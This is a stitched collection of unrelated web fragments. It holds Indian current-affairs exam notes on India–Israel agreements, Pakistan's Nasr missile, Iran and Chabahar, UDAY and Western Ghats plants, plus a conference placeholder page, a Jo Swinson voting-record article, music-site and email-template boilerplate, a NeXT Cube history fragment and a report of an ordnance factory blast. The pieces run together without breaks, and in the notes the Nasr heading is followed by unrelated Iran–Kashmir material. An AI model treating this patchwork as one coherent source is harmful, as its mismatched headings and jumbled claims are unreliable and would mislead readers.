- The two sides also agreed to increase air linkages between the two countries, with Air India expected to commence flights to Tel Aviv, as well as a “Cultural Centre” at a location yet to be identified.
- Possibility in the near future of “joint development of defence products, including the transfer of technology from Israel.”
Water conservation:
- The two agreements in the field of water deal with the “increasing awareness” of the need for water conservation
Memorandum of understanding signed:
- MoU between the Israeli Water Ministry and the Uttar Pradesh Jal Nigam Board.
- Three MoUs on space cooperation included one for Electric Propulsion for Small Satellites, and for the development of an optical link as well as cooperation on atomic clocks.
$40 million joint fund for research and development:
- The fund of research and development, called the “I4F” or India Israel Industrial Innovation Fund , will see both governments contribute $20 million to help research scholars manufacture their inventions easily.
2. Pak successfully test fires short-range ballistic missile Nasr
In news:
- Pakistan successfully test fired short-range surface-to-surface ballistic missile ‘Nasr’.
- ‘Nasr’ is a high-precision weapon system with the ability to be deployed quickly and with enhanced range from 60-70 kilometres and flight maneuverability.
- Pakistan army chief Gen Qamar Javed Bajwa response after the test fire: the successful test has put “cold water” on Indian military’s “Cold Start” doctrine.
Context:
- Iran’s Supreme Leader Ayatollah Ali Khamenei’s provocation on Kashmir by equating the Kashmir conflict with those in Yemen and Bahrain
- India has always been worried of Iran’s support for Pakistan in the Organisation of Islamic Cooperation (OIC) regarding Kashmir.
Reason for Iran’s interference in Kashmir issue
- India’s growing closeness to Saudi Arabia and the UAE
- Reminder to India that Iran too has a role in the Islamic world which can’t be ignored.
- Iran getting regionally isolated in the backdrop of Donald Trump administration’s hard line against Tehran
- Saudi Arabia and its allies tries to squeeze Iran out of the regional matrix.
What is happening in Arab world?
- Blockade of Qatar by Saudi Arabia, Egypt, Bahrain and UAE after cutting off their diplomatic ties
- Arab states issued a 13-point demands to Qatar to curb diplomatic ties with Iran, severing ties with the Muslim Brotherhood and shuttering the Al-Jazeera news network
- Saudi Arabia and Iran’s proxy wars across the region — in Bahrain, Syria, Yemen, apart from their growing hostility in Iraq.
- Attack on Iran’s Parliament , for which it blames Saudi Arabia, has further heightened the tensions.
India’s irking economic ties with Iran
- Iran hasn’t taken a decision on contract for gas exploration in its Farzad B offshore field.
- So India has decided to decrease the volume of Iranian crude oil it will be buying this year.
- There are reports that Tehran has signed an agreement for the gas field with Russian giant Gazprom.
- Now Iran stated that Chabahar port project,won’t be exclusive to India.
- Pakistan and China might also be invited to get involved.
How it affects India?
- For India, this undercuts the very strategic utility of the port
- Chabahar port is viewed as India’s answer to the Gwadar port and to circumvent Pakistan and open up a route to landlocked Afghanistan
1. UDAY covers 97% of discom debt: Centre
In News:
- About 97% of the total outstanding debt of all state power distribution companies (discoms) has been covered under the Ujwal DISCOM Assurance Yojana (UDAY), the government announced
- 86% of the restructurable debt has been revamped under the scheme
What was the debt amount?
- As on September 30, 2015, the total debt of all state-owned discoms was Rs. 3.95 lakh crore
- The total liability opted for restructuring by the states through the issuance of bonds was Rs. 2.69 lakh crore
National average:
- The national average of aggregate technical and commercial (AT&C) losses (from all UDAY states) stood at 20.2% in FY17
The difference between the average cost of supply (ACS) and the average revenue realised (ARR) had come down in the last year
Category: ENVIRONMENT AND ECOLOGY
1. Of plant species few and far between
In news:
- Scientists have recorded a major section of Rare Endemic and Threatened plants and trees in the Western Ghats, some of which have not been assessed by international conservation bodies for nearly two decades.
- The Botanical Survey of India (BSI) project on endemic tree resources in the southern Western Ghats, including Kerala and Tamil Nadu, has now documented about 250 ‘RET’ species.
- The assessment of some of these conducted by the International Union for Conservation of Nature for the IUCN Red List puts them under vulnerable, endangered or critically endangered categories based on literature from 1998.
-
Heavily exploited
- Poorly documented, heavily exploited or habitat-deprived species such as Kingiodendron pinnatum, known in Malayalam as Chukannapayini, Cynometra travancorica, Vateria indica and Hopea parviflora now have better records.
- Evidence on medicinally important plants including Aglaia malabarica (critically endangered in the Red List), Myristica malabarica (vulnerable), Syzigium stocksii and Syzigium dhaneshiana as well as economically important ones like Humboldtia vahliana (unsustainably collection) and Hopea ponga has been gathered.
D. GS4 Related
Nothing here for Today!!!
PIB Articles Editorials Roundup
E. Concepts-in-News: Related Concepts to Revise/Learn
Nothing here for Today!!!
F. Bills/Acts/Schemes/Orgs in News
| Articles in News | About the Articles |
| 324. Superintendence, direction and control of elections to be vested in an Election Commission |
|
|
Schemes in news |
About the schemes |
|
Ujwal DISCOM Assurance Yojana (UDAY) |
|


--- layout: default title: ICSECT'19 - Conference Program meta: The conference program will allow you to plan out how to best utilize your time at ICSECT. keyword: structural engineering, structural engineering conference 2019, building design, building design conference, prague, construction conference, construction management conference, structural dynamics conference, earthquake conference, construction management, structural dynamics, earthquake engineering, structural conference 2019, structural engineering conference, prague conference, construction, earthquake, earthquake engineering conference ---
The Conference Program for the 4th International conference on Structural Engineering and Concrete Technology (ICSECT'19) will be available soon. We appreciate your patience!


Jo Swinson's voting record revealed as general election looms
by Jasmine AnderssonLeader of the Liberal Democrats Jo Swinson has been asked many questions about her inconsistent voting record.
The MP for East Dunbartonshire is hoping to secure votes on the back of the party's pro-EU stance, and hopes to revoke Article 50.
But opponents have queried the leader's commitment to her values since the 2010 Conservative-Liberal Democrat coalition of which she was a part, which saw the party renege on its promise to scrap tuition fees and cut benefits for the unemployed and disabled.
READ MORE: General Election 2019: NHS as important as Brexit to voters finds new poll
Here's a glimpse into how the Liberal Democrat leader has voted on key issues since she was first elected in 2005.
Equality
Almost always voted for equal gay rights and the legalisation of same-sex marriage
Generally voted for laws to promote equality and human rights
Generally voted for smoking bans
READ MORE: Tories aim to step up pressure on SNP in 'knife-edge' marginals in final days of campaign
Tax
Generally voted for raising the threshold at which people start to pay income tax
Almost always voted for increasing the rate of VAT
Almost always voted for higher taxes on alcoholic drinks and plane tickets
Consistently voted against increasing the tax rate applied to income over £150,000
Almost always voted against an annual tax on the value of expensive homes (popularly known as a mansion tax)
Climate change
Generally voted for measures to prevent climate change
Consistently voted for selling England’s state owned forests
Generally voted against financial incentives for low carbon emission electricity generation methods
Generally voted for culling badgers to tackle bovine tuberculosis
Generally voted against greater regulation of hydraulic fracturing (fracking) to extract shale gas
Immigration
Consistently voted against a stricter asylum system
Almost always voted against allowing ministers to intervene in inquests
Consistently voted against introducing ID cards
Welfare
Consistently voted against raising welfare benefits, at least in line with prices
Almost always voted for a reduction in spending on welfare benefits
Consistently voted against paying higher benefits over longer periods for those unable to work due to illness or disability
Education
Voted for raising England’s undergraduate tuition fee cap to £9,000 per year
Generally voted for greater autonomy for schools
Almost always voted for academy schools
Consistently voted for ending financial support for some 16-19 year olds in training and further education
Military
Generally voted for use of UK military forces in combat operations overseas
Consistently voted for investigations into the Iraq war
Voted for military action against Isis
Consistently voted against strengthening the Military Covenant
EU
Generally voted for more EU integration
Generally voted against a referendum on the UK's membership of the EU
Consistently voted for UK membership of the EU


Home
Discover
Videos
Hot & New
Contact
Music Mania
Free Music Discovery & Streaming
Find Out More
Tired of searching the web endlessly to stay up to date on new music? Look no further!
This theme features some wonderful photography courtesy of
Death to the Stock Photo
.
Videos
RAF
Them Changes
Llarkelly
You're The One
Sahbabii-Gas Mask
Pollari-Last Day of School
YBN Nahmir-Rubbin Off The Paint
Ski Mask The Slump God Ft. A$ap Ferg-ILoveYourAunt
View More Items


| |
| Big mail |
| It is a long established fact that a reader by the looking at its layout. |
|
| |
| Contact info |
Address :
Big Mail, New Street, King Avenue 2586, Austria. |
| Call us : 1800-658-6985 |
| Mail us<EMAIL_ADDRESS>|
|
|
| |
| |
| Copyright © 2016 Big Mail.com . All rights reserved. Unsubscribe . Site Main Menu |
|
|
| |


intention was to buy a right to license NeXTSTEP on its mainframe systems, in order to add GUIs to its UNIX computers. Moreover, IBM was trying to find a way out of its morass with software developer Microsoft.
Despite those signs of optimism, the NeXT Cube was a blatant failure on the marketplace. It simply did not sell: universities and students found it way too expensive. Firstly, by 1988, it was common for students to have a Macintosh in their dorm rooms. The days when you had to go to the computer lab to use a workstation like the Cube


Three injured in blast at ordnance factory in Jalgaon
The injured were rushed to a private hospital in Jalgaon town and are undergoing treatment
by PTIThree persons were injured in a blast at an ordnance factory in Maharashtra’s Jalgaon district on Friday, police said.
The incident took place at around 9.45 a.m. at the ordnance factory in Varangaon, where three employees sustained serious injuries, an official said.
The injured were rushed to a private hospital in Jalgaon town and are undergoing treatment, he said.
The exact cause of the blast is yet to ascertained, he said, adding that the police are in the process of registering the case.
Ordnance factories manufacture armaments for the Indian Armed Forces.